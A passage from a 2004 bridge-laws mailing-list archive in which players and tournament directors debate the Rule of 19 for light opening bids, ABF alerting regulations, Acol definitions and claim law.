life. Richard James Hills: Now Tim seems to be making a chauvinistic Kantian assumption about the phenomenal world, implicitly defining that: (a) simple English Acol equals simple Acol, and (b) simple antipodean Acol equals complex Acol. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Sun Jan 4 23:26:50 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sun, 4 Jan 2004 18:26:50 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <000101c3d30a$21d77d50$602f37d2@Desktop> Message-ID: <78F8BDCF-3F0D-11D8-90BA-0030656F6826@rochester.rr.com> On Sunday, Jan 4, 2004, at 16:31 US/Eastern, Wayne Burrows wrote: > Many players would open this or would want to be able to open it - at > least in third seat. One of the problems I have with ACBL convention (and alert) regulations, at least (other NBOs may or may not be in the same boat) is that they take no notice of which seat one is in when one makes a bid. The regulations, applied literally, would seem to make illegal many 3rd and 4th seat practices, or at least not to say whether such practices should be alerted (in the case of the alert regulations). From twm@cix.co.uk Sun Jan 4 23:36:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Sun, 4 Jan 2004 23:36 +0000 (GMT Standard Time) Subject: [blml] Divine Intervention In-Reply-To: Message-ID: Richard wrote > Now Tim seems to be making a chauvinistic Kantian > assumption about the phenomenal world, implicitly > defining that: > > (a) simple English Acol equals simple Acol, and > (b) simple antipodean Acol equals complex Acol. Not at all Richard. There is simple Acol - neither English nor antipodean but pretty well defined in a plethora of books and using (amongst other things) limit raises. There is (or perhaps are) "tournament Acol" which takes many good ideas and incorporates them into the Acol system (this can include such things as an artificial 2N, transfers, etc). Tim From richard.hills@immi.gov.au Mon Jan 5 00:36:05 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 10:36:05 +1000 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: Eric Landau: [big snip] >Surely being told by one's NCBO that one must bid poorly >justifies a bit of kvetching. Richard James Hills: Playing a Strong 1C system allows you to bid strong hands better, due to the extra bidding space gained. But playing a Strong Pass system allows you to bid strong hands better still, as a further step of bidding space is gained. Yet my NCBO tells me that my preferred Strong Pass system is Yellow (HUM), permissable only in rare major events. However, in my opinion, my NCBO is right to rule that I must bid poorer than I would like in most events. This is because my right to play my preferred methods is *not* absolute. What is absolute, is the right of my opponents to full disclosure of my methods. If I play a Highly Unusual Method, most opponents will not have time to grasp the intricacies and negative inferences necessary to counter my methods. So, my HUM will gained *unearned* imps and matchpoints, simply due to its surprise value. Likewise, opening an ultra-weak 1NT on zero hcp is more preemptive than opening a weak 1NT on 12 hcp. So, most opponents will not have time to grasp the intricacies and negative inferences necessary to counter ultra-weak 1NTs. If one agrees that, for most events, ultra-weak 1NTs should be illegal, but weak 1NTs should be legal, then a regulation creating a border between the two is required. It is in the Mandelbrot nature of borders that some things must end up on the wrong side of a border - moving the border will not solve the problem, merely create another fractal anomaly. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 5 01:09:44 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 11:09:44 +1000 Subject: [blml] Ghestem [was 2004 ABF Alerting Regulations] Message-ID: In the "Divine Intervention" thread, Tim West-Meads wrote: [big snip] >>pretty well defined in a plethora of books [big snip] Richard James Hills replies: An oxymoron. The greater the plethora, the less the consistency of definition. Roger Eymard wrote: [snip] >It seems that a number of other practices, >in many countries including France, are >unduly attributed to Pierre Ghestem, who >never published anything else on that >subject. Richard James Hills continues: Similarly, when an opposing Aussie pair announces that they use the Michaels Cuebid convention, it is wise to ask, "Are you from South Australia"? One of the plethora of texts about Michaels is an Adelaide version, which defines (1D) - 2D as a two-suiter with clubs + a major. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 5 01:41:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 11:41:56 +1000 Subject: [blml] Cooper echo Message-ID: >+=3D+ First, I do not think you can hide behind such >sophistry. Your agreement is that the message >conveyed says you will make at least nine tricks; >no matter that you speak falsely at times. > Second, I think one has to examine not only >whether you have made a claim but also whether >you are indicating the expectation of winning one >or more tricks that has/have not been completed. > ~ Grattan ~ +=3D+ #%# Okay, sophistry argument number two. Grattan has been quoting from the Law 68A definition of a claim. But Law 68A also includes the catch-all exception: "(unless he demonstrably did not intend to claim)" A Cooper Echo is intended as a signal to partner. A Cooper Echo is not intended as a claim statement to the opponents. So, I sophisticatedly argue that opponents' eavesdropping on my signal to dummy does not constitute a claim, when my demonstrable intention was merely to reassure partner. { Richard } #%# -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Mon Jan 5 02:03:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 12:03:57 +1000 Subject: [blml] A Synod of Cooks Message-ID: [snip] >and latterly in 2005 we think to give the world a peep >at the results. Until then any one of us would be very >silly if he shot his mouth off on a subject that is in >the hands of a diverse subset of the Mahamad. > ~ Grattan ~ +=3D+ #%# "The Mahamad ruled that the dead Conversos had to be circumcised before they could be buried in Ouderkerk." I see that Grattan has plagiarised my technique of giving an insult so obscure, that the insultee is oblivious. { Richard } #%# -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From TG0JLH1@wpo.cso.niu.edu Mon Jan 5 03:45:20 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Sun, 04 Jan 2004 21:45:20 -0600 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] Message-ID: > Richard James Hills reveals: > > In Australia (the source of the controversial reg) it is > standard practice for all the TDs in big tournaments to > consult together on all non-mechanical judgement rulings. Sven Pran: The same in Norway! (And warnings are noted centrally so that a warning issued by one TD is known by all the others) James Hudson: My original question was: > >When there are several TDs, do they get > >together and pool their information? I meant: their information about director calls, not their information about score adjustments, warnings, etc. If a director is called to the table because one pair has forgotten one of its agreements, does the director report this to his colleagues even if no score adjustment was called for? (Perhaps the director merely said to the NOs: "Call me back at the end of the hand if you think you were damaged," and he wasn't called back.) I expect a negative answer. _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Mon Jan 5 05:29:25 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jan 2004 15:29:25 +1000 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] Message-ID: James Hudson: >My original question was: > >>>When there are several TDs, do they get >>>together and pool their information? > >I meant: their information about director >calls, not their information about score >adjustments, warnings, etc. If a director >is called to the table because one pair has >forgotten one of its agreements, does the >director report this to his colleagues even >if no score adjustment was called for? >(Perhaps the director merely said to the NOs: >"Call me back at the end of the hand if you >think you were damaged," and he wasn't called >back.) I expect a negative answer. Richard Hills: James underestimates the propensity of bored TDs at a large event to gossip with each other. But, for the sake of argument, assume that the TDs have taken a partial vow of silence, and only communicate with each other when protocol requires. Assume that approximately 50% of TD calls for MI necessitate a score adjustment. So, if one assumes that all TDs at a large event consult on all MI score adjustments, then there will be ample statistical evidence for one TD to have a prima facie deduction that a particular pair is over-frequently forgetting a particular convention. And, of course, that TD would consult with all other TDs *before* the TD converts prima facie evidence into a ruling that a pair is banned from future mangling of their merely notionally agreed convention. After all, such a ruling is a judgement ruling, and protocol requires that all TDs consult on all judgement rulings in Aussie large events. What's the problem? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From john@asimere.com Mon Jan 5 06:52:33 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 5 Jan 2004 06:52:33 +0000 Subject: [blml] Forgetting [was: 2004 ABF Alerting Regulations] In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes > > > > >James Hudson: > >>My original question was: >> >>>>When there are several TDs, do they get >>>>together and pool their information? >> >>I meant: their information about director >>calls, not their information about score >>adjustments, warnings, etc. If a director >>is called to the table because one pair has >>forgotten one of its agreements, does the >>director report this to his colleagues even >>if no score adjustment was called for? >>(Perhaps the director merely said to the NOs: >>"Call me back at the end of the hand if you >>think you were damaged," and he wasn't called >>back.) I expect a negative answer. > >Richard Hills: > >James underestimates the propensity of bored >TDs at a large event to gossip with each other. If I were to let on what I *know* about a large number of uk bridge players, I'd get sued. A frequent comment at a large congress is to ask another TD "That pair comes from your manor - any problems I should know about?" cheers John -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From grandeval@vejez.fsnet.co.uk Mon Jan 5 07:28:09 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 5 Jan 2004 07:28:09 -0000 Subject: [blml] Cooper echo References: Message-ID: <000901c3d35d$9582c360$2b6187d9@4nrw70j> Grattan Endicott To: Sent: Monday, January 05, 2004 1:41 AM Subject: Re: [blml] Cooper echo #%# Okay, sophistry argument number two. Grattan has been quoting from the Law 68A definition of a claim. But Law 68A also includes the catch-all exception: "(unless he demonstrably did not intend to claim)" +=+ But that exclusion, in parenthesis, by the construction of the sentence applies only to "or when he shows his cards". ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Mon Jan 5 07:44:25 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 5 Jan 2004 07:44:25 -0000 Subject: [blml] Ghestem [was 2004 ABF Alerting Regulations] References: Message-ID: <000f01c3d35f$d3362240$7ff7193e@4nrw70j> Grattan Endicott To: Sent: Monday, January 05, 2004 1:09 AM Subject: Re: [blml] Ghestem [was 2004 ABF Alerting Regulations] ---------- \x/ ------------- \x/ -------------- Richard James Hills continues: Similarly, when an opposing Aussie pair announces that they use the Michaels Cuebid convention, it is wise to ask, "Are you from South Australia"? One of the plethora of texts about Michaels is an Adelaide version, which defines (1D) - 2D as a two-suiter with clubs + a major. +=+ Possibly not correct to call it "Michaels Cuebid" then? ~ G ~ +=+ From henk@ripe.net Mon Jan 5 08:16:11 2004 From: henk@ripe.net (Henk Uijterwaal (RIPE-NCC)) Date: Mon, 5 Jan 2004 09:16:11 +0100 (CET) Subject: [blml] Is something rotten on blml right now? In-Reply-To: <000001c3d235$a793d950$6900a8c0@WINXP> References: <000001c3d235$a793d950$6900a8c0@WINXP> Message-ID: On Sat, 3 Jan 2004, Sven Pran wrote: > I haven't received any blml message since the one from Brian Meadows which > is time stamped: Sat, 03 Jan 2004 05:59:22 -0500 on blml archives. That > message reached me nine hours ago. > > There is however another message on the archives, apparently spam with > subject: Think about your future uwgjzjmwn! This later message has the > (future) time stamp: Tue, 06 Jan 2004 01:22:08 +0200 and was "archived" on > blml just two minutes after the message above from Brian but has not yet > reached my mailbox. > > It remains to be seen whether this message of mine now reaches the archive > and is distributed to blml'ers, but I feel the situation sufficiently > suspicious to sound an alarm. It was, I've received at least 30 messages since Brian's message, so I assume everything is OK. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal@ripe.net RIPE Network Coordination Centre WWW: http://www.ripe.net/home/henk P.O.Box 10096 Singel 258 Phone: +31.20.5354414 1001 EB Amsterdam 1016 AB Amsterdam Fax: +31.20.5354445 The Netherlands The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ Nu toch (eindelijk) tijd voor een nieuwe slogan? (Nico Verheul) From hermandw@hdw.be Mon Jan 5 08:58:53 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 09:58:53 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> <3FF84380.8050301@hdw.be> Message-ID: <3FF9274D.90203@hdw.be> I'm not going to answer all of Brian's replies. I could do no more than reiterate things you're bored of already. But there is one thing left: Brian Meadows wrote: > On Sun, 04 Jan 2004 17:46:56 +0100, Herman De Wael wrote: > > >>The WBF has decided that it wants to ban light openings. >> >>You, Brian, are charged with the writing of the regulation that >>enforces this ban. >>I presume that you will want to define "light hands", hands which you >>are not allowed to open systematically. >>Please tell me how you are going to define "light hands". >> > > > I have this vague recollection that the phrase "Within a king of > average strength" appears somewhere? > And what is average strength? You still need to write out that one? Don't forget that you are quoting merely the law that allows SO's to write regulations. A law which, as we saw, is interpreted very liberally. So this phrase, even if it would be precise, is not helpful. > > > The rule of 19 is a perfectly logical way to implement such a > ruling if it must be implemented. What I am arguing against, and > I suspect Eric was too, is its *discriminatory* application to > light openings - or in the case of the ACBL, one specific light > opening. > What do you mean? You agree that Ro19 is a correct way, but you argue against the regulation banning them? What are we discussing about then? > But you ask what I would write if I were my job to write the > regulation? The answer is very simple. My resignation. I wouldn't > want my name to be associated with the job. Let someone else > spend their time writing ludicrous regulations. If the WBF wants > to impose that regulation, let them write it themselves. > Well, Brian, with that attitude we are not going anywhere. But I chose to interpret it as saying that you agree with me. The banning of light openings is ludicrous, but if it has to be done, then the Ro19, without judgment, is as good a way of doing it as any. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 5 09:01:27 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 10:01:27 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <000101c3d30a$21d77d50$602f37d2@Desktop> References: <000101c3d30a$21d77d50$602f37d2@Desktop> Message-ID: <3FF927E7.3080800@hdw.be> Wayne Burrows wrote: > > > I think the real problem with this regulation is that it falls so close > to the standard practice. > > Taking a hand from elsewhere in this thread ... > > "AJ1098 KJ109 10987 - " > > Many players would open this or would want to be able to open it - at > least > in third seat. > > Regulating that it is illegal to do so is patently absurd. > I agree - but that was not what the discussion was about. Given that the regulation exists, and with a Ro19 in place - are you allowed to open this or not. I maintain that you are not. And that is what makes the rule absurd. Saying that, by exception or by judgment, you ARE allowed to open this, in the face of existing regulation, does not make the regulation absurd, it simply renders it non-existent. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 5 09:03:36 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 10:03:36 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: Message-ID: <3FF92868.6060407@hdw.be> Ed Reppert wrote: > > On Sunday, Jan 4, 2004, at 04:07 US/Eastern, Herman De Wael wrote: > >> They are liars and cheats and I prefer to be able to rule against them >> without calling them liars and cheats. > > > If they really are liars and cheats you should have no problem saying > so. Yet you do. Why is that? > Because I don't know that they are. And even when I do, I cannot prove so. Or I don't want to waste my energy. I prefer to be able to rule against people acting as liars and cheats from some other regulation. That will stop liars and cheats, and it will also stop currently honest people from becoming cheats because they see it won't work. > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 5 09:16:45 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 10:16:45 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> Message-ID: <3FF92B7D.8060904@hdw.be> David is of course completely right, but ... David Stevenson wrote: > Brian Meadows wrote > >> >>In that case, all I can tell you that there were TDs around who >>ruled otherwise. On every occasion (at least six, probably nearer >>ten) that an opponent complained about my having upgraded a 4333 >>11 count to a (Precision) 1D opener, the TD just looked at my >>hand, asked me whether I would always open it, I said yes, >>because I valued it as worth a rule of 19 opener, and that was >>enough for me to be told that I mustn't have an agreement to open >>one of a suit on that hand because it contravened the rule of 19. >>Whether that meant that the TD just disagreed with my judgement >>that the hand was good enough to upgrade, I don't know. > > > As I would rule. If you would open all 4333 11-counts one of a suit > you are not playing Ro19 by agreement, thus your opening is illegal. > Completely right, David. > That is not the problem, which is one of judgement. That is just you > playing a clearly illegal system. > > The judgement problem comes when you are playing a 10-12 1NT at L3 in > the EBU, or at GCC in the ACBL,a nd oyu open 1NT on > > QJTx > Kx > KT9x > T9x > > In the EBU there is no problem: this is not evidence of a concealed > partnership understanding, or an illegal partnership understanding: this > is an example of a player using judgement, which is not illegal. > OK? suppose it is not. Now up comes a player, let's call him EthicalBrian, and he opens the hand above. TDDavid asks "do you always open this hand ?". EthicalBrian replies "yes". TDDavid rules against EthicalBrian. Up comes another player, CheatingBrian. He also opens the hand. TDDavid asks "do you always open this hand ?". CheatingBrian replies "no, this is just judgment". TDDavid rules in favour of EthicalBrian. Suppose this happens with me as TD: TDHerman asks "did you really intend to open this?". Both EthicalBrian and CheatingBrian reply "yes", and both get ruled against. You see David, that your ruling against Brian is based solely on his honest replies to your questions, replies which are too easily rendered dishonest. After all, the particular hand in question has never come up before, and will never come up again, so how can you deduce from one hand whether or this is judgment or general practice? > It is alleged that in the ACBL this would automatically be ruled > illegal, since no judgement is permitted. > > But if you open all 11-count 4333s with a Precision 1D you are not > playing Ro19 so your system is illegal: that is nothing to do with > judgement. > You see the difference between us? I rule that if you open 1 4333-11 pointer, then you are playing an illegal system. You rule that if you open a significant % of 4333-11 pointers, then you are playing an illegal system. My stance is clear - and my players appreciate that I rule for all equally. Your stance is fuzzy. What % do you use? And how do you ascertain what the player's habits and methods really are? > > They were applying it correctly and you were playing an illegal > system. > Please note this, Brian. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Mon Jan 5 09:20:29 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 10:20:29 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D63A.5030607@hdw.be> <3FF84480.3030309@hdw.be> Message-ID: <3FF92C5D.5010605@hdw.be> Brian Meadows wrote: > On Sun, 04 Jan 2004 17:51:12 +0100, Herman De Wael wrote: > > > > >>But nothing is to be gained if we simply follow what people tell us. >>If a player honestly tells me that he would always open a particular >>hand, and I rule against him on that basis alone, what reason does he >>have for speaking the truth the next time? > > > A very simple and very good reason - that he considers it > cheating to do otherwise. Next question. > Well, many people don't consider little white lies cheating. > >>I prefer my ruling to be >>based on other facts. If someone opens a very light hand third, non >>vul, with lots of tens, I don't ask him if he would do the same again >>the next time. I simply tell him that I believe he would. >> > > > I don't have any problem with that, *if* the rule of 19 is to be > strictly applied. > > >>Indeed I had noticed (back in the days when the Ro19 was hot in >>Belgium) that it was always the same players who told me they had >>never opened that light before. >> > > > You presumably didn't have occasion to question any of the > others. No, I don't go around questioning players who have not broken the Ro18 whether or not they have done so before. > OK, the answer is simple. Firstly, I think if you asked > them whether you had opened that light before, you were asking > the wrong question. What you actually should have asked is > whether they would always open the specific hand on which you > were called. If they say "No", then maybe it's time to start > recording a few hands? > But Brian, they have just opened this hand! What use is it of asking them if they would open it again the next time? That hand will not come up again. And the answer to that question is just as easily "littly white lied" to. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From wayne.burrows@xtra.co.nz Mon Jan 5 10:35:53 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Mon, 5 Jan 2004 23:35:53 +1300 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF9274D.90203@hdw.be> Message-ID: <000001c3d377$b483a080$8cb337d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Herman De Wael > Sent: Monday, 5 January 2004 8:59 p.m. > To: blml > Subject: Re: [blml] 2004 ABF Alerting Regulations > > > I'm not going to answer all of Brian's replies. I could do no more > than reiterate things you're bored of already. > But there is one thing left: > > Brian Meadows wrote: > > On Sun, 04 Jan 2004 17:46:56 +0100, Herman De Wael wrote: > > > > > >>The WBF has decided that it wants to ban light openings. > >> > >>You, Brian, are charged with the writing of the regulation that > >>enforces this ban. > >>I presume that you will want to define "light hands", hands > which you > >>are not allowed to open systematically. > >>Please tell me how you are going to define "light hands". > >> > > > > > > I have this vague recollection that the phrase "Within a king of > > average strength" appears somewhere? > > > > And what is average strength? You still need to write out that one? If you use a "Rule of ..." as your method of 'judgement' then "Rule of 18.5" is close to average. Therefore Rule of 15 are legitimate and Rule of 16 are not. Wayne From hermandw@hdw.be Mon Jan 5 11:00:38 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 05 Jan 2004 12:00:38 +0100 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <000001c3d377$b483a080$8cb337d2@Desktop> References: <000001c3d377$b483a080$8cb337d2@Desktop> Message-ID: <3FF943D6.4070203@hdw.be> OK Wayne, Wayne Burrows wrote: > >> >>>>are not allowed to open systematically. >>>>Please tell me how you are going to define "light hands". >>>> >>> >>> >>>I have this vague recollection that the phrase "Within a king of >>>average strength" appears somewhere? >>> >> >>And what is average strength? You still need to write out that one? > > > If you use a "Rule of ..." as your method of 'judgement' then "Rule > of 18.5" is close to average. > > Therefore Rule of 15 are legitimate and Rule of 16 are not. > OK Wayne. Now you have defined what rules would be legitimate and which are not. Just as an aside, the WBF seems to disagree with you. But in any case, that does not answer the original question. The original question was "how are you going to define light hands". Your first reply was according to L40. I asked "what is average strength?". And your reply is a "rule of .." So we are round. I asked you if you could find a better way of describing light hands. Apart from a change in the number, you could not. So we are back where we started. We agree that the banning of light natural openings is illegal according to the letter of L40, but we realize that the WBF has accepted that such banning is nevertheless acceptable. We agree that the banning of light openings is unnecessary, but we accept that this is out of our hands. We agree that to base the definition of light openings on a rule of .. is very rough, but we also agree that we cannot find anything better. So what are we discussing, actually? > Wayne > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From blml@wellsborocomputing.com Mon Jan 5 11:47:17 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 06:47:17 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF9274D.90203@hdw.be> References: <5.2.0.9.0.20040102075541.01f820e0@pop.starpower.net> <2lhyV3C45W9$EwpV@blakjak.demon.co.uk> <5.2.0.9.0.20040102165718.009efe90@pop.starpower.net> <3FF68D15.1090501@hdw.be> <8d6dvvg09fnbise2ccjriqtqd8crm51d0o@4ax.com> <17aSiNBXE49$EwpZ@blakjak.demon.co.uk> <3FF7D7B4.4030001@hdw.be> <3FF84380.8050301@hdw.be> <3FF9274D.90203@hdw.be> Message-ID: On Mon, 05 Jan 2004 09:58:53 +0100, Herman De Wael wrote: >> I have this vague recollection that the phrase "Within a king of >> average strength" appears somewhere? >> > >And what is average strength? You still need to write out that one? > 10 HCP, with allowances made for hand valuation. >Don't forget that you are quoting merely the law that allows SO's to >write regulations. A law which, as we saw, is interpreted very >liberally. So this phrase, even if it would be precise, is not helpful. > Yes, it certainly is interpreted very liberally. Too liberally. >> The rule of 19 is a perfectly logical way to implement such a >> ruling if it must be implemented. What I am arguing against, and >> I suspect Eric was too, is its *discriminatory* application to >> light openings - or in the case of the ACBL, one specific light >> opening. >> > >What do you mean? You agree that Ro19 is a correct way, but you argue >against the regulation banning them? What are we discussing about then? > Well, let me start off by reminding you that you initiated the exchange, concerning a decision taken under EBU regulations as far as I recall. ;-) But, if you're genuinely confused about where we differ, I believe it's about applying the rule of 19 with mathematical precision. If the rule of 19 must be applied, then I want to allow a player to use his judgement to upgrade a hand with a bunch of fillers. You're arguing otherwise, as far as I can tell. Of course, if you want to swap hats between Herman the player and Herman the TD, that will make things more complicated, but I think you understand what I mean. >> But you ask what I would write if I were my job to write the >> regulation? The answer is very simple. My resignation. I wouldn't >> want my name to be associated with the job. Let someone else >> spend their time writing ludicrous regulations. If the WBF wants >> to impose that regulation, let them write it themselves. >> > >Well, Brian, with that attitude we are not going anywhere. You asked me a question, and I answered it. If you don't like the answer, that's not my problem. My "attitude" is one where I value my integrity, and that, at least to me, means not being prepared to write regulations which I believe are ludicrous. >But I chose >to interpret it as saying that you agree with me. The banning of light >openings is ludicrous, but if it has to be done, then the Ro19, >without judgment, is as good a way of doing it as any. It's good in the same way that getting one punch on the nose is good when the only alternative is two punches on the nose. If a few more people had that "attitude" of mine, maybe we wouldn't have as many ludicrous regulations. Brian. From blml@wellsborocomputing.com Mon Jan 5 11:57:56 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Mon, 05 Jan 2004 06:57:56 -0500 Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: <3FF927E7.3080800@hdw.be> References: <000101c3d30a$21d77d50$602f37d2@Desktop> <3FF927E7.3080800@hdw.be> Message-ID: On Mon, 05 Jan 2004 10:01:27 +0100, Herman De Wael wrote: >Wayne Burrows wrote: > >> >> >> I think the real problem with this regulation is that it falls so close >> to the standard practice. >> >> Taking a hand from elsewhere in this thread ... >> >> "AJ1098 KJ109 10987 - " >> >> Many players would open this or would want to be able to open it - at >> least >> in third seat. >> >> Regulating that it is illegal to do so is patently absurd. >> > >I agree - but that was not what the discussion was about. Given that >the regulation exists, and with a Ro19 in place - are you allowed to >open this or not. >I maintain that you are not. And that is what makes the rule absurd. >Saying that, by exception or by judgment, you ARE allowed to open >this, in the face of existing regulation, does not make the regulation >absurd, it simply renders it non-existent. > No, Herman, it doesn't render it "non-existent". It leaves you with an awkward problem of how to decide whether a player's judgement is valid or not. The rule of 19 becomes a guideline, not a mathematical tool. For example, if I picked up my AJ1098 KJ109 10987 void and said that I judged the fillers made it worth a rule of 19 opener, then I think most people would agree with me. Make that hand QJ1098 KJ109 10987 void and you'd (quite rightly) decide that I was taking the piss if I tried to claim that it was a rule of 19 opener. As far as I see it, the question boils down to whether you want to make life (much) easier for the TD, and have a rule which you can apply with mathematical precision, or whether you want to allow judgement for ALL opening bids, at the cost of giving TDs some difficult judgement decisions. While I admit I don't like the idea that the decision you get would depend on the TD called, I think that's preferable to banning the use of judgement for light openers. Brian. From twm@cix.co.uk Mon Jan 5 12:00:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Mon, 5 Jan 2004 12:00 +0000 (GMT Standard Time) Subject: [blml] 2004 ABF Alerting Regulations In-Reply-To: 